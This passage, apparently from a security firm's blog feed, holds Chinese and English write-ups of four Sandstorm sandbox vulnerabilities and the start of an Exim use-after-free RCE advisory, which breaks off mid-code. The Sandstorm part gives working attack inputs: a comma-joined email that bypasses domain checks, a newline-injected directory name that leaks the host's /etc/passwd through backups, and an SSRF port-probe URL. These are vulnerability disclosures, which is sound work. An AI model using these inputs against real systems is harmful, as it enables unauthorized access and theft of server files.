class="n">SupervisorMain</span><span class="o">::</span><span class="n">setResourceLimits</span><span class="p">()</span> <span class="p">{</span> <span class="k">struct</span> <span class="nc">rlimit</span> <span class="n">limit</span><span class="p">;</span> <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">limit</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">limit</span><span class="p">));</span> <span class="n">limit</span><span class="p">.</span><span class="n">rlim_cur</span> <span class="o">=</span> <span class="mi">1024</span><span class="p">;</span> <span class="n">limit</span><span class="p">.</span><span class="n">rlim_max</span> <span class="o">=</span> <span class="mi">4096</span><span class="p">;</span> <span class="n">KJ_SYSCALL</span><span class="p">(</span><span class="n">setrlimit</span><span class="p">(</span><span class="n">RLIMIT_NOFILE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">limit</span><span class="p">));</span> <span class="p">}</span> </code></pre></div></div> <p>Ref: <a href="https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824">https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824</a></p> <p>由於 supervisor 未限制子程序數量以及未限制儲存空間用量,因此攻擊者只要讓 App 不斷執行 fork(通常稱為 Fork Bomb)或是大量使用硬碟空間,就會造成伺服器資源不足而中斷服務。</p> <h3 id="cve-2017-6199">CVE-2017-6199</h3> <p>通常 Sandstorm 會設定特定組織成員才能擁有特殊的權限,而系統預設的組織成員判斷方式是檢查使用者 email 中「@」符號最後的字串是否在白名單內,相關程式碼如下:</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nx">identity</span><span class="p">.</span><span class="nx">services</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">().</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">@</span><span class="dl">"</span><span class="p">).</span><span class="nx">pop</span><span class="p">()</span> <span class="o">===</span> <span class="nx">emailDomain</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">true</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>Ref: <a href="https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112">https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112</a></p> <p>因此,當攻擊者填入的 email 為 <code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code>,系統便會將攻擊者視為 <code class="language-plaintext highlighter-rouge">aaa.bbb</code> 組織的使用者。</p> <p>這項攻擊得以成功還有另外一個關鍵點,發生在 Sandstorm 登入的一個特色上。使用 Sandstorm 服務不需要設定密碼,使用者每次欲登入時填入 email,系統便會發送一組每次皆不同的隨機密碼作為登入使用。上述的例子之所以能夠成功,就是因為系統將 <code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code> 視為一個 aaa.bbb 網域的使用者,而隨機密碼會發送到 <code class="language-plaintext highlighter-rouge">[email protected]</code> 以及 <code class="language-plaintext highlighter-rouge">[email protected]</code> 兩個不同信箱中,只要可以收到密碼就可以登入使用服務。</p> <p>直接案例說明:</p> <ol> <li> <p>在 Sandstorm 限定只有用 <code class="language-plaintext highlighter-rouge">aaa.bbb</code> 網域才可以登入。 <img src="/assets/img/blog/20180126/1.png" alt="" /></p> </li> <li> <p>登入處 email 欄位填入 <code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code>。(註:email 欄位在前端有用 HTML5 Validation,但後端並無檢查 email 是否合法) <img src="/assets/img/blog/20180126/2.png" alt="" /></p> </li> <li> <p>在 [email protected] 信箱收到隨機密碼。 <img src="/assets/img/blog/20180126/3.png" alt="" /></p> </li> <li> <p>成功登入,<code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code> 被視為一個使用者,且為 <code class="language-plaintext highlighter-rouge">aaa.bbb</code> 組織成員! <img src="/assets/img/blog/20180126/4.png" alt="" /></p> </li> </ol> <p>在我們的滲透測試中,標的網站是允許認證的網域使用者自行安裝 App 的。因此透過這項繞過弱點,攻擊者可以再搭配本篇其他漏洞(CVE-2017-6198、CVE-2017-6200、CVE-2017-6201)做更進一步的攻擊。</p> <h3 id="cve-2017-6200">CVE-2017-6200</h3> <p>這是一個有趣的弱點,總共組合了兩個驗證上的小疏忽才能達成攻擊! 在 Sandstorm 中每個 Grain(Sandstorm container,簡單來說就是一個 App 沙箱)的擁有者都可以下載該 App 的備份資料,但由於打包流程中存在兩個弱點,因此攻擊者可以打包沙箱外伺服器的 <code class="language-plaintext highlighter-rouge">/etc</code> 和 <code class="language-plaintext highlighter-rouge">/run</code> 下的檔案。發生的問題如下:</p> <ol> <li> <p>打包的流程隱藏了 <code class="language-plaintext highlighter-rouge">/var</code>、<code class="language-plaintext highlighter-rouge">/proc</code>、<code class="language-plaintext highlighter-rouge">/etc</code> 等敏感目錄,卻沒有隱藏 <code class="language-plaintext highlighter-rouge">/etc.host</code> 及 <code class="language-plaintext highlighter-rouge">/run.host</code> 這兩個目錄。這兩個目錄分別是伺服器下 <code class="language-plaintext highlighter-rouge">/etc</code> 和 <code class="language-plaintext highlighter-rouge">/run</code> 的別名,是較後期的功能。</p> </li> <li> <p>系統會將欲打包的合法檔案整理出來透過標準輸入介面傳給 zip 打包,而判斷檔案和檔案間的區隔是靠換行符號(<code class="language-plaintext highlighter-rouge">\n</code>)。因此,當檔名中出現換行符號,可以插入非法的路徑檔名藉由 zip 打包。程式雖然有檢查檔名是否存在換行符,卻疏忽了檢查目錄名。</p> </li> </ol> <p>Ref: <a href="https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271">https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271</a></p> <p>綜合上述兩個弱點,攻擊者只要在沙箱內建立一個目錄 <code class="language-plaintext highlighter-rouge">/var/exp\n/etc.host/passwd\n</code>,就可以透過下載備份的功能取得含有伺服器 <code class="language-plaintext highlighter-rouge">/etc/passwd</code> 檔案的備份檔。</p> <p>實際情境截圖:</p> <ol> <li> <p>先在 Grain 裡新建目錄 <code class="language-plaintext highlighter-rouge">/var/exp\n/etc.host/passwd\n</code>,並用 Grain Backup 的功能下載備份檔。 <img src="/assets/img/blog/20180126/5.png" alt="" /></p> </li> <li> <p>解開備份檔後在 <code class="language-plaintext highlighter-rouge">etc.host</code> 目錄下看到沙箱外伺服器的 <code class="language-plaintext highlighter-rouge">/etc/passwd</code> <img src="/assets/img/blog/20180126/6.png" alt="" /></p> </li> </ol> <h3 id="cve-2017-6201">CVE-2017-6201</h3> <p>這是經典的 SSRF(Server-Side Request Forgery)問題,在 Sandstorm 安裝 App 流程沒有限制安裝來源,攻擊者提供一個安裝 URL 就能讓伺服器存取該位置。該問題發生在 <code class="language-plaintext highlighter-rouge">https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/</code>,這個範例連結得以確認伺服器的 22 port 是否開啟。</p> <p><img src="/assets/img/blog/20180126/7.png" alt="" /></p> <center>(Parse Error,代表伺服器 22 port 開啟)</center> <h2 id="後續">後續</h2> <p>在提交弱點後,Sandstorm 官方非常迅速修正了弱點,並且發表了一篇文章: <a href="https://sandstorm.io/news/2017-03-02-security-review">https://sandstorm.io/news/2017-03-02-security-review</a></p> <p>在這次滲透經驗中,我們認為 Sandstorm 是一款安全、有出色防禦機制的平台。主要原因取決於它的一個核心設計理念:就是假設使用者安裝的 App 都是惡意的。以這樣的前提出發去保護核心系統的安全,建立起來的防禦機制自然是全面且完善的。除了伺服器本身的保護,一些常見的客戶端攻擊(例如:XSS、CSRF)也透過 Sandstorm 特殊的隨機 hostname 等機制保護的很好。因此攻擊者很難從 App 本身去破壞伺服器,也很難透過攻擊客戶端去提升使用者的權限。</p> <p>儘管是如此優秀的平台,仍舊會因一些小地方疏忽導致攻擊者有機可乘。這次發現弱點的地方多半在於 library 的誤用和新功能的撰寫沒有考慮到舊有防禦架構。這在其他專案也是常見的問題,藉機也提醒開發者在開發新功能時應做全面的安全檢視,以避免防禦落差所導致的弱點。</p> https://devco.re/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200/ https://devco.re/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200 Fri, 26 Jan 2018 00:00:00 +0800 Sandstorm Security Review <p><a href="/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200-en/">Sandstorm Security Review</a> (English Version)<br /> <a href="/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200/">一次在 Sandstorm 跳脫沙箱的滲透經驗</a> (中文版本)</p> <h2 id="introduction">Introduction</h2> <p>In early 2017, we had a pentesting target protected with <a href="https://sandstorm.io/">Sandstorm</a>. Sandstorm is a web-based platform which allows users to install their web apps, such as WordPress, GitLab, etc. The main feature of Sandstorm is that it containerizes every app in its own sandbox. Therefore, even though we had found several vulnerabilities of the apps, we still could not put a threat to the server.</p> <p>In order to leverage the vulnerabilities, we put part of efforts into review of Sandstorm’s source codes, and tried to escape the sandbox to impact the whole server. Finally, we found a number of uncommon and interesting vulnerabilities, and received CVE IDs as follows:</p> <ul> <li>CVE-2017-6198 (Denial of Service)</li> <li>CVE-2017-6199 (Bypassing Authorization Schema)</li> <li>CVE-2017-6200 (Insecure Direct Object References)</li> <li>CVE-2017-6201 (Server-Side Request Forgery)</li> </ul> <h2 id="exploitation-details">Exploitation Details</h2> <h3 id="cve-2017-6198">CVE-2017-6198</h3> <p>This is a DoS created by system resource exhaustion. The root cause is that Sandstorm does not have a comprehensive policy to limit the amount of resource used by every apps run on it. In <code class="language-plaintext highlighter-rouge">src/sandstorm/supervisor.c++</code> only the maximum number of files opened by each process was limited. See the codes below:</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">SupervisorMain</span><span class="o">::</span><span class="n">setResourceLimits</span><span class="p">()</span> <span class="p">{</span> <span class="k">struct</span> <span class="nc">rlimit</span> <span class="n">limit</span><span class="p">;</span> <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">limit</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">limit</span><span class="p">));</span> <span class="n">limit</span><span class="p">.</span><span class="n">rlim_cur</span> <span class="o">=</span> <span class="mi">1024</span><span class="p">;</span> <span class="n">limit</span><span class="p">.</span><span class="n">rlim_max</span> <span class="o">=</span> <span class="mi">4096</span><span class="p">;</span> <span class="n">KJ_SYSCALL</span><span class="p">(</span><span class="n">setrlimit</span><span class="p">(</span><span class="n">RLIMIT_NOFILE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">limit</span><span class="p">));</span> <span class="p">}</span> </code></pre></div></div> <p>Ref: <a href="https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824">https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824</a></p> <p>Since supervisor does not restrict the amount of subprocesses and storage usage, attackers can raise a resource exhaustion attack to crash the server by simply uploading a malicious app which keeps calling fork() (aka the “fork bomb”) or consumes huge storage space.</p> <h3 id="cve-2017-6199">CVE-2017-6199</h3> <p>Usually Sandstorm will designate unique permissions to the specific members of a certain organization, and the default membership validation method is to check user’s email address and see whether the string after <code class="language-plaintext highlighter-rouge">@</code> exists in their white list. See the codes below:</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nx">identity</span><span class="p">.</span><span class="nx">services</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">().</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">@</span><span class="dl">"</span><span class="p">).</span><span class="nx">pop</span><span class="p">()</span> <span class="o">===</span> <span class="nx">emailDomain</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">true</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>Ref: <a href="https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112">https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112</a></p> <p>Therefore, when an attacker fills in an email like <code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code> and the system will automatically consider the attacker a member of the <code class="language-plaintext highlighter-rouge">aaa.bbb</code> organization.</p> <p>Another key factor that contributes to the successful attack lies in one of the features when users log on Sandstorm. Users does not need to set up passwords for Sandstorm. Each time when the users need to log onto the service, they only need to fill in their email address, and they’ll receive a set of random unique password for login. The reason why the example above works is because the system treats <code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code> as a user from aaa.bbb domain, and the random password will be sent to the two email addresses, <code class="language-plaintext highlighter-rouge">[email protected]</code> and <code class="language-plaintext highlighter-rouge">[email protected]</code> As long as one can receive the password, they can log in to use the service.</p> <p>Below is a quick demonstration:</p> <ol> <li> <p>On Sandstorm, restrict access to users from domain <code class="language-plaintext highlighter-rouge">aaa.bbb</code> only. <img src="/assets/img/blog/20180126/1.png" alt="" /></p> </li> <li> <p>On login page, fill in <code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code> for the email field. (Note: at the front end, the email field is checked with HTML5 validation, but it is not further checked for validity at the back end) <img src="/assets/img/blog/20180126/2.png" alt="" /></p> </li> <li> <p>Retrieve random password in [email protected] mailbox. <img src="/assets/img/blog/20180126/3.png" alt="" /></p> </li> <li> <p>Login successful. <code class="language-plaintext highlighter-rouge">[email protected],[email protected]</code> is considered as a user and member of <code class="language-plaintext highlighter-rouge">aaa.bbb</code> organization! <img src="/assets/img/blog/20180126/4.png" alt="" /></p> </li> </ol> <p>In our pentesting, the target website allowed users from validated domains to install their own apps. Therefore, through this bypass exploit, further attacks could be accomplished by combining other vulnerabilities described in this blog post (CVE-2017-6198, CVE-2017-6200, CVE-2017-6201).</p> <h3 id="cve-2017-6200">CVE-2017-6200</h3> <p>This is an interesting vulnerability. Totally two little validation flaws were exploited to initiate this attack! On Sandstorm, owners of each Grain (Sandstorm container, in short, an app sandbox) can download their backup data for the app. But because of the two vulnerabilities in the packing process, an attacker can pack the files under the <code class="language-plaintext highlighter-rouge">/etc</code> and <code class="language-plaintext highlighter-rouge">/run</code> directories located on the server outside the sandbox. The security issues were as follows:</p> <ol> <li> <p>The packing process has hid <code class="language-plaintext highlighter-rouge">/var</code>, <code class="language-plaintext highlighter-rouge">/proc</code>, <code class="language-plaintext highlighter-rouge">/etc</code> and other sensitive directories, but did not hide <code class="language-plaintext highlighter-rouge">/etc.host</code> and <code class="language-plaintext highlighter-rouge">/run.host</code> these two directories. These directories are the aliases for the directories <code class="language-plaintext highlighter-rouge">/etc</code> and <code class="language-plaintext highlighter-rouge">/run</code> on the server respectively, which are relatively newer features.</p> </li> <li> <p>The system will pack the legitimate files, have them sorted out, and create zip packages through the standard input interface. The separation between files are determined by line-breaks (<code class="language-plaintext highlighter-rouge">\n</code>). As a result, when a line-break string appears in the file name, illegal path file names can be injected and packed with zip. Although the app checks whether there is a line-break in the file name, but the directory name was not checked.</p> </li> </ol> <p>Ref: <a href="https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271">https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271</a></p> <p>By using these two vulnerabilities together, the attacker simply has to create a directory in the sandbox <code class="language-plaintext highlighter-rouge">/var/exp\n/etc.host/passwd\n</code> , then backup files containing <code class="language-plaintext highlighter-rouge">/etc/passwd</code> on the server can be retrieved through backup downloading function.</p> <p>Screenshot of a real-world scenario:</p> <ol> <li> <p>First, create a new directory in Grain <code class="language-plaintext highlighter-rouge">/var/exp\n/etc.host/passwd\n</code>, and use the Grain Backup function to download the backup file. <img src="/assets/img/blog/20180126/5.png" alt="" /></p> </li> <li> <p>After unzipping the backup file, from <code class="language-plaintext highlighter-rouge">etc.host</code> we’ll see <code class="language-plaintext highlighter-rouge">/etc/passwd</code> of the server outside the sandbox. <img src="/assets/img/blog/20180126/6.png" alt="" /></p> </li> </ol> <h3 id="cve-2017-6201">CVE-2017-6201</h3> <p>This is a classic SSRF (Server-Side Request Forgery) issue. Sandstorm allow installation of apps from arbitrary sources, and an attacker can simply let the server access a certain location by providing an installation URL. The problem was identified on <code class="language-plaintext highlighter-rouge">https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/</code> This sample link confirms whether the server’s port 22 is open.</p> <p><img src="/assets/img/blog/20180126/7.png" alt="" /></p> <center>(Parse Error, which implies server’s port 22 is open)</center> <h2 id="follow-up-updates">Follow-up Updates</h2> <p>After we reported the vulnerabilities, Sandstorm fixed it immediately and then published an article: <a href="https://sandstorm.io/news/2017-03-02-security-review">https://sandstorm.io/news/2017-03-02-security-review</a></p> <p>Through this pentesting experience, we consider Sandstorm a safe platform with outstanding security mechanisms. This is mainly attributed to its fundamental design rationale: to assume that every app installed is malicious. With this vigilant assumption, Sandstorm’s defence mechanisms for the core system become comprehensive and watertight. Apart from the server-side protection, some common client-side attacks (such as XSS, CSRF) are handled properly by Sandstorm’s unique countermeasures, such as host name randomization. That is, it is very difficult for attackers to sabotage the server by simply manipulating the apps, and so does privilege escalation through attacking at the client-side.</p> <p>Nevertheless, such an impressive platform still had some minor mistakes which led to security issues. Most of the vulnerabilities found this time are improper usages of libraries or negligence of existing defence architecture while introducing new features. These types of vulnerability are also common in our other projects. We would like to take the opportunity to remind developers, always present a comprehensive security review especially when developing new features to avoid vulnerabilities caused by the gaps between defence mechanisms.</p> https://devco.re/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200-en/ https://devco.re/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200-en Fri, 26 Jan 2018 00:00:00 +0800 Exim RCE 資安通報 (CVE-2017-16943) <h2 id="內容">內容</h2> <p>2017/11/23 我們發現 Unix 的開源軟體 EXIM 含有 Use-After-Free 弱點(CVE-2017-16943)以及 Denial-of-Service 弱點(CVE-2017-16944),<strong>當 EXIM 版本是 4.88 或 4.89 並且有開啟 chunking 選項(BDAT 指令)時</strong>,攻擊者可傳送特定字串給 EXIM 觸發弱點,可能造成郵件伺服器被<strong>遠端攻擊者入侵</strong>或是<strong>郵件伺服器無法繼續提供服務</strong>。</p> <p>根據 E-Soft Inc. 在 11 月所做的調查,約有 57萬台(56%)的郵件伺服器使用 EXIM 軟體。建議 EXIM 的使用者檢查版本是否為 4.88 或 4.89,若是,則需修改 EXIM 的設定,將 chunking 選項<strong>關閉</strong>(在 config 裡將 <code class="language-plaintext highlighter-rouge">chunking_advertise_hosts</code> 選項留空),或是<strong>更新至 4.89.1 版</strong>,以避免遭受攻擊。</p> <h2 id="細節">細節</h2> <p>詳細的技術細節請參閱我們的 Advisory: <a href="https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/">https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/</a></p> https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943/ https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943 Mon, 11 Dec 2017 00:00:00 +0800 Road to Exim RCE - Abusing Unsafe Memory Allocator in the Most Popular MTA <p>On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability.</p> <h2 id="about-exim">About Exim</h2> <p>Exim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a <a href="http://www.securityspace.com/s_survey/data/man.201710/mxsurvey.html">mail server survey</a> by E-Soft Inc. shows over half of the mail servers identified are running exim.</p> <h2 id="affected">Affected</h2> <ul> <li>Exim version 4.88 &amp; 4.89 with chunking option enabled.</li> <li>According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io).</li> </ul> <h2 id="vulnerability-details">Vulnerability Details</h2> <p>Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like <code class="language-plaintext highlighter-rouge">BDAT 1024</code> or <code class="language-plaintext highlighter-rouge">BDAT 1024 LAST</code>. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs.</p> <ul> <li>Use-after-free in receive_msg leads to RCE (CVE-2017-16943)</li> <li>Incorrect BDAT data handling leads to DoS (CVE-2017-16944)</li> </ul> <h1 id="use-after-free-in-receive_msg-leads-to-rce">Use-after-free in receive_msg leads to RCE</h1> <h3 id="vulnerability-analysis">Vulnerability Analysis</h3> <p>To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with <code class="language-plaintext highlighter-rouge">store_</code> such as <code class="language-plaintext highlighter-rouge">store_get</code>, <code class="language-plaintext highlighter-rouge">store_release</code>, <code class="language-plaintext highlighter-rouge">store_reset</code>. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below: <img src="/assets/img/blog/20171211/1.png" alt="architecture of storeblock" /></p> <p>Initially, exim allocates a big storeblock (default 0x2000) and then cut it into <strong>stores</strong> when <code class="language-plaintext highlighter-rouge">store_get</code> is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the <code class="language-plaintext highlighter-rouge">current_block</code> is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes <code class="language-plaintext highlighter-rouge">current_block</code> point to it. Exim maintains three <code class="language-plaintext highlighter-rouge">store_pool</code>, that is, there are three chains like the illustration above and every global variables are actually arrays. This vulnerability is in <code class="language-plaintext highlighter-rouge">receive_msg</code> where exim reads headers: <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1817">receive.c: 1817 receive_msg</a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">&gt;=</span> <span class="n">header_size</span> <span class="o">-</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">oldsize</span> <span class="o">=</span> <span class="n">header_size</span><span class="p">;</span> <span class="cm">/* header_size += 256; */</span> <span class="n">header_size</span> <span class="o">*=</span> <span class="mi">2</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">store_extend</span><span class="p">(</span><span class="n">next</span><span class="o">-&gt;</span><span class="n">text</span><span class="p">,</span> <span class="n">oldsize</span><span class="p">,</span> <span class="n">header_size</span><span class="p">))</span> <span class="p">{</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">newtext</span> <span class="o">=</span> <span class="n">store_get</span><span class="p">(</span><span class="n">header_size</span><span class="p">);</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">newtext</span><span class="p">,</span> <span class="n">next</span><span class="o">-&gt;</span><span class="n">text</span><span class="p">,</span> <span class="n">ptr</span><span class="p">);</span> <span class="n">store_release</span><span class="p">(</span><span class="n">next</span><span class="o">-&gt;</span><span class="n">text</span><span class="p">);</span> <span class="n">next</span><span class="o">-&gt;</span><span class="n">text</span> <span class="o">=</span> <span class="n">newtext</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to <strong>extend</strong> store, the function <code class="language-plaintext highlighter-rouge">store_extend</code> checks whether the old store is the latest store allocated in <code class="language-plaintext highlighter-rouge">current_block</code>. It returns False immediately if the check is failed. <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/store.c#L276">store.c: 276 store_extend</a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">CS</span> <span class="n">ptr</span> <span class="o">+</span> <span class="n">rounded_oldsize</span> <span class="o">!=</span> <span class="n">CS</span> <span class="p">(</span><span class="n">next_yield</span><span class="p">[</span><span class="n">store_pool</span><span class="p">])</span> <span class="o">||</span> <span class="n">inc</span> <span class="o">&gt;</span> <span class="n">yield_length</span><span class="p">[</span><span class="n">store_pool</span><span class="p">]</span> <span class="o">+</span> <span class="n">rounded_oldsize</span> <span class="o">-</span> <span class="n">oldsize</span><span class="p">)</span> <span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span> </code></pre></div></div> <p>Once <code class="language-plaintext highlighter-rouge">store_extend</code> fails, exim tries to get a new store and release the old one. After we look into <code class="language-plaintext highlighter-rouge">store_get</code> and store_release, we found that <code class="language-plaintext highlighter-rouge">store_get</code> returns a <strong>store</strong>, but <code class="language-plaintext highlighter-rouge">store_release</code> releases a <strong>block</strong> if the store is at the head of it. That is to say, if <code class="language-plaintext highlighter-rouge">next-&gt;text</code> points to the start the <code class="language-plaintext highlighter-rouge">current_block</code> and <code class="language-plaintext highlighter-rouge">store_get</code> cuts store inside it for <code class="language-plaintext highlighter-rouge">newtext</code>, then <code class="language-plaintext highlighter-rouge">store_release(next-&gt;text)</code> frees <code class="language-plaintext highlighter-rouge">next-&gt;text</code>, which is equal to <code class="language-plaintext highlighter-rouge">current_block</code>, and leaves <code class="language-plaintext highlighter-rouge">newtext</code> and <code class="language-plaintext highlighter-rouge">current_block</code> pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call <code class="language-plaintext highlighter-rouge">store_get</code> after <code class="language-plaintext highlighter-rouge">next-&gt;text</code> is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes <code class="language-plaintext highlighter-rouge">store_get</code> reachable and finally leads to an RCE. Exim uses <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/globals.h#L136">function pointers</a> to switch between different input sources, such as <code class="language-plaintext highlighter-rouge">receive_getc</code>, <code class="language-plaintext highlighter-rouge">receive_getbuf</code>. When receiving BDAT data, <code class="language-plaintext highlighter-rouge">receive_getc</code> is set to <code class="language-plaintext highlighter-rouge">bdat_getc</code> in order to check left chunking data size and to handle following command of BDAT. In <code class="language-plaintext highlighter-rouge">receive_msg</code>, exim also uses <code class="language-plaintext highlighter-rouge">receive_getc</code>. It loops to read data, and stores data into <code class="language-plaintext highlighter-rouge">next-&gt;text</code>, extends if insufficient. <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1789">receive.c: 1817 receive_msg</a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">ch</span> <span class="o">=</span> <span class="p">(</span><span class="n">receive_getc</span><span class="p">)(</span><span class="n">GETC_BUFFER_UNLIMITED</span><span class="p">);</span> <span class="cm">/* If we hit EOF on a SMTP connection, it's an error, since incoming SMTP must have a correct "." terminator. */</span> <span class="k">if</span> <span class="p">(</span><span class="n">ch</span> <span class="o">==</span> <span class="n">EOF</span> <span class="o">&amp;&amp;</span> <span class="n">smtp_input</span> <span class="cm">/* &amp;&amp; !smtp_batched_input */</span><span class="p">)</span> <span class="p">{</span> <span class="n">smtp_reply</span> <span class="o">=</span> <span class="n">handle_lost_connection</span><span class="p">(</span><span class="n">US</span><span class="s">" (header)"</span><span class="p">);</span> <span class="n">smtp_yield</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="k">goto</span> <span class="n">TIDYUP</span><span class="p">;</span> <span class="cm">/* Skip to end of function */</span> <span class="p">}</span> </code></pre></div></div> <p>In <code class="language-plaintext highlighter-rouge">bdat_getc</code>, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect. <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L628">smtp_in.c: 628 bdat_getc</a></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">case</span> <span class="n">BDAT_CMD</span><span class="p">:</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">n</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">sscanf</span><span class="p">(</span><span class="n">CS</span> <span class="n">smtp_cmd_data</span><span class="p">,</span> <span class="s">"%u %n"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">chunking_datasize</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">synprot_error</span><span class="p">(</span><span class="n">L_smtp_protocol_error</span><span class="p">,</span> <span class="mi">501</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">US</span><span class="s">"missing size for BDAT command"</span><span class="p">);</span> <span class="k">return</span> <span class="n">ERR</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>In exim, it usually calls <code class="language-plaintext highlighter-rouge">synprot_error</code> to raise error message, which also logs at the same time. <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L2984">smtp_in.c: 628 bdat_getc</a></p> <div class="language-c highlighter-rouge"><div 